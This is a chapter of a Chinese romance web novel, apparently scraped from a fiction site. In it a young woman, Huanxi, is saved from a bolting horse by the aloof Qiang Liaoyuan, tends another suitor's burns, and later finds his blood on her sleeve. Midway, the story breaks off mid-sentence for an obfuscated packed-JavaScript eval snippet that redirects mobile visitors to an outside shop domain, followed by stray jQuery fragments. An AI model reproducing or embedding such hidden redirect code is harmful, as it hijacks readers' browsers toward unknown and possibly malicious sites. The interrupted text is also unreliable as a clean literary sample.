文趣网 > 都市小说 > 如陷深渊(强取豪夺) > 7. 他的怀抱
    陆屿话音未落,已经猛地一夹马腹,调转马头朝欢禧那边冲了过去。

    与此同时,场边一道黑影几乎同一时间掠了出去。

    羌燎渊纵身一跃翻过栅栏,脚尖一点地面已经落在一匹黑马背上。

    “驾!”他手腕一抖缰绳,那匹黑马长嘶一声,前蹄腾空,直扑向欢禧的方向。

    欢禧在马背上颠得骨头都要散架了,眼前景物飞速后退,风声灌满了耳朵,攥着缰绳的手指已经磨得生疼。但她仍死死趴着马背,不敢睁眼,只盼着这马能快些自己停下来。

    可那马跑了好一阵,丝毫没有要慢下来的意思,颠簸反而越来越剧烈。欢禧终于忍不住抬起头来,往前一看,却立刻吓得魂飞魄散。

    前面就是马场的围栏,那匹受惊的马丝毫没有要停下的意思,直直地朝木栅栏冲了过去。

    “啊——!”她紧紧闭上了眼。

    可就在这千钧一发之际,她只觉得身侧一阵疾风扑来,紧接着整个人被一股力道拦腰一捞。天旋地转间,她落入了一个坚实的怀抱里,两人抱着一起滚落在地,在泥地上翻了好几圈才终于停下来。

    欢禧整个人被护在那个怀抱里,耳边是那人沉稳有力的心跳,她紧紧贴着他温热的胸膛,像是被什么结实的东西裹住了一样,竟让人在一瞬间忘了害怕。风声、马蹄声、远处的呼喊声,都像隔了厚厚一层,变得又远又模糊。

    欢禧喘着气睁开眼,正对上羌燎渊低垂的眉眼。他眉头微微蹙着,一双眼睛在火光里黑沉沉的,正定定地望着她,带着一种不动声色的压迫感。

    他的侧脸被火光照得明暗分明,眉骨与鼻梁的线条凌厉而利落,下颌绷着一道紧实的弧度,衣领在方才的翻滚中松散开来,露出一截分明的锁骨和颈侧微微凸.起的筋络,在光影下透着一种叫人不敢直视的力量感。

    欢禧愣了愣神,还没来得及开口说什么,另一头忽然传来一声闷响,紧接着是陆屿的惊叫。

    陆屿本来也要冲过去救欢禧,却慢了羌燎渊一步,扑了个空,收势不住,连人带马撞上了场边照明的火盆。那火盆被撞翻在地,火星四溅,滚烫的灰烬扬了他一身。

    “陆屿哥哥!”欢禧浑身一激灵,猛地推开羌燎渊的手臂从他怀里挣出来,朝陆屿那边跑了过去,就这么把羌燎渊丢在了原地。

    羌燎渊还维持着方才护住她的姿势,半跪在地上。她身上那股带点花香的气息似乎还萦在鼻端,甜得人心里发痒,可人已经跑远了,头也没回。

    他低头看了一眼自己空荡荡的臂弯,又抬眼看着那个奔向别人的纤细背影,嘴角轻轻扯了一下,冷嗤了一声:“没心没肺。”

    一群人也呼啦啦地围了过去,羌燎烈大步上前,一把将陆屿从地上捞起来:“陆小子!怎么样?伤着哪儿了?”

    陆屿被灰扑了一身,胳膊和小腿上几处被烫得泛红,嘴角也蹭破了点皮,勉强笑道:“没、没事,就蹭了一下。”

    旁边的欢禧看着他胳膊上那几道被烫出的红痕,眼眶一下子就红了,心疼得不行:“都烫成这样了还说没事…”

    羌云锦这时凑过来看了一眼,忙提醒道:“欢禧,方才给你的那盒药膏也能治烧伤烫伤的,快给他涂上些。”

    欢禧这才想起来,连忙翻出那盒青瓷药膏,用指腹沾了药,小心翼翼地往陆屿伤口上涂。涂完一处,她又凑过去,轻轻地往他伤处吹了吹气。

    陆屿看着她这副模样,心里又暖又软,忍不住低声说:“不疼,真的,你别担心。你呢,没伤着吧?”

    欢禧摇了摇头,“我没伤着。”她又没好气地嗔怪道:“倒是你,都起泡了还说不疼。”说着又低头替他涂另一处。

    而不远处,羌燎渊站在这片热闹之外,目光落在那两个凑在一起的身影上。女孩低垂的眉眼专注又柔软,小心翼翼地替人吹着伤口,嘴里还在絮絮地嗔怪,那副温柔小心的模样,和方才从他怀里挣出去时判若两人。

    他淡淡地看着,面上没什么表情,可那双眼睛沉沉的,深得辨不清情绪。

    那边的欢禧正低头涂药,忽然觉着后背一阵莫名的凉意。她心里微微一紧,却也没多想,只继续低头替陆屿擦药。

    一旁的羌燎烈看着,粗声粗气地插了一嘴:“行了行了,男子汉大丈夫,这点小伤算什么!陆小子,改天多练练骑术,今儿要不是老三出手快,你家这小美人可要摔惨了。”他说着回头看了看羌燎渊,“老三,没伤着吧?”

    羌燎渊站在几步开外,语气沉沉的:“没事。”

    羌云锦也上下打量了他一番,确认他没什么大碍才松了口气。她又转头看向欢禧,满脸愧疚:“欢禧,都怪我,不该非拉着你骑马的…”

    欢禧回头冲她笑了笑:“云锦姐姐别这么说,是我自己没控制好马,不怪你的。”说完她的视线不由自主地越过羌云锦的肩头,落在了她身后那道修长的身影上。

    羌燎渊正站在火光与阴影交界的地方,衣袍上还沾着方才翻滚时蹭上的泥痕,可那张脸依旧干干净净冷冷淡淡的,看不出什么多余的神情。

    不知怎的,方才那股莫名的凉意又泛了上来,欢禧心头一颤,可一想到方才他救自己的那一幕,感激之情还是压过了那丝莫名的不安。

    她深吸一口气,走到羌燎渊面前:“多谢羌公子出手相救,若不是你,我今日怕是要摔得不轻。”

    他语气依旧冷淡:“举手之劳。”

    话虽这么说,心里却冷冷哼了一声。方才救下她时,她连句像样的道谢都没有,撒腿就朝她那小情郎跑了过去。现在倒是想起来还有他这么个人,才磨磨蹭蹭地凑过来道谢,却低着头,眼皮都不敢抬一下,像是怕他吃了她似的。方才给那小情郎上药时那股子温声细语、小心吹气的劲儿,倒是半点没剩。

    羌燎烈这时又凑过来,拍了拍陆屿的肩,大嗓门道:“我这三弟的骑术和身手,那可是打小练出来的!陆小子,往后你得好好练练,不然连自己媳妇儿都护不住!”

    陆屿耳根一红,却没有反驳,只低声应了一句:“大表舅说的是。”

    闹腾了这一通,夜也深了,众人就这样说说笑笑地离开了马场。

    回到内院跟

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17748308|209369||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    羌重楼道过别,褚家派来接欢禧的马车已经停在府门口了。

    欢禧站在车旁,跟众人一一道别。羌云锦拉着她的手说了几句体己话,叮嘱她回去好好歇着。羌燎烈照例大嗓门地挥手让她路上小心。

    最后她的目光落在陆屿身上,他站在府门前的灯影下,正冲她微微笑着,还是平日里那副温和的模样。

    而他身后的羌燎渊,依旧冷着一张脸,没什么表情。可这人实在长得太高,往人群里一站便格外打眼,很难让人不注意到,只是那份冷意让人不敢多瞧。

    羌燎烈顺着欢禧的视线看过去,见她的目光直直落在陆屿那边,便以为这俩年轻人正四目相对、难舍难分,忍不住笑骂道:“行了行了,又不是以后不见了!明天让陆小子去刺史府找你便是!赶紧上车回去吧,大晚上的,别让你那刺史爹担心。”

    欢禧被他说得一愣,这才猛地回过神来。自己方才看的哪里是陆屿?她脸上倏地一热,忙垂下眼,低低应了一声,然后匆匆转身踩着脚凳钻进了车厢。

    马车缓缓驶动,离开了羌府。车帘落下前,她又忍不住往外看了一眼,目光不知怎的,又越过陆屿,落在了后方那道修长的身影上。

    羌燎渊正侧身跟羌燎烈低声说了句什么,便抬脚走了,却不是往府门里走,而是沿着府门外的长街,慢慢往夜色里去了。

    欢禧微微愣了一下,没来得及多想,羌燎渊的背影已经隐没在了街角的暗处。

    夜色里,羌家众人的身影也渐渐远了,欢禧便放下了车帘。

    她低头看了一眼手背上那道细细的痂,又摸了摸那盒还带着微温的青瓷药膏。不知怎的,脑海里忽然浮现出方才在天旋地转间接住自己的那道身影。

    她摇了摇头,把那画面晃了出去,闭眼靠进了车壁里。

    马车又行了约莫一盏茶的工夫,欢禧又低头拨弄着手上的伤痂,无意间瞥见自己的衣袖上沾着一小片暗红色的痕迹。

    她皱了皱眉,凑近了看,确实是血迹,已经微微干涸了。她愣了一瞬,忙撸起袖子检查自己的手臂,翻来覆去看了几遍,皮肤好好的,并没有受伤。

    那这血是从哪儿来的?

    她仔细回想了一番,方才给陆屿涂药的时候,分明没有沾到血,那便只可能是从马场上带下来的。她又想起那阵天旋地转的翻滚,落地时确实曾听到羌燎渊一声极轻的闷哼,只是当时她惊魂未定,又急着去看陆屿,便没有放在心上。

    如今回想起来,羌燎渊救她那一下,大约是撞到了地上的什么东西,受了伤,却一个字也没提。后来羌燎烈问他有没有事,他也只说了句“没事”,她便真的当他没事了。

    欢禧的心忽然紧了一下,她攥紧那片沾了血的衣袖,朝车帘外喊了一声:“停车!”

    车夫立刻勒住马,马车慢了下来。

    欢禧急忙掀开车帘探出半个身子,夜色里,来时的长街已经空荡荡的,羌府的方向只剩下远处几点零星的灯火。

    她咬了咬唇,心里挣扎了片刻,最终还是对车夫说:

    “掉头,回羌府。”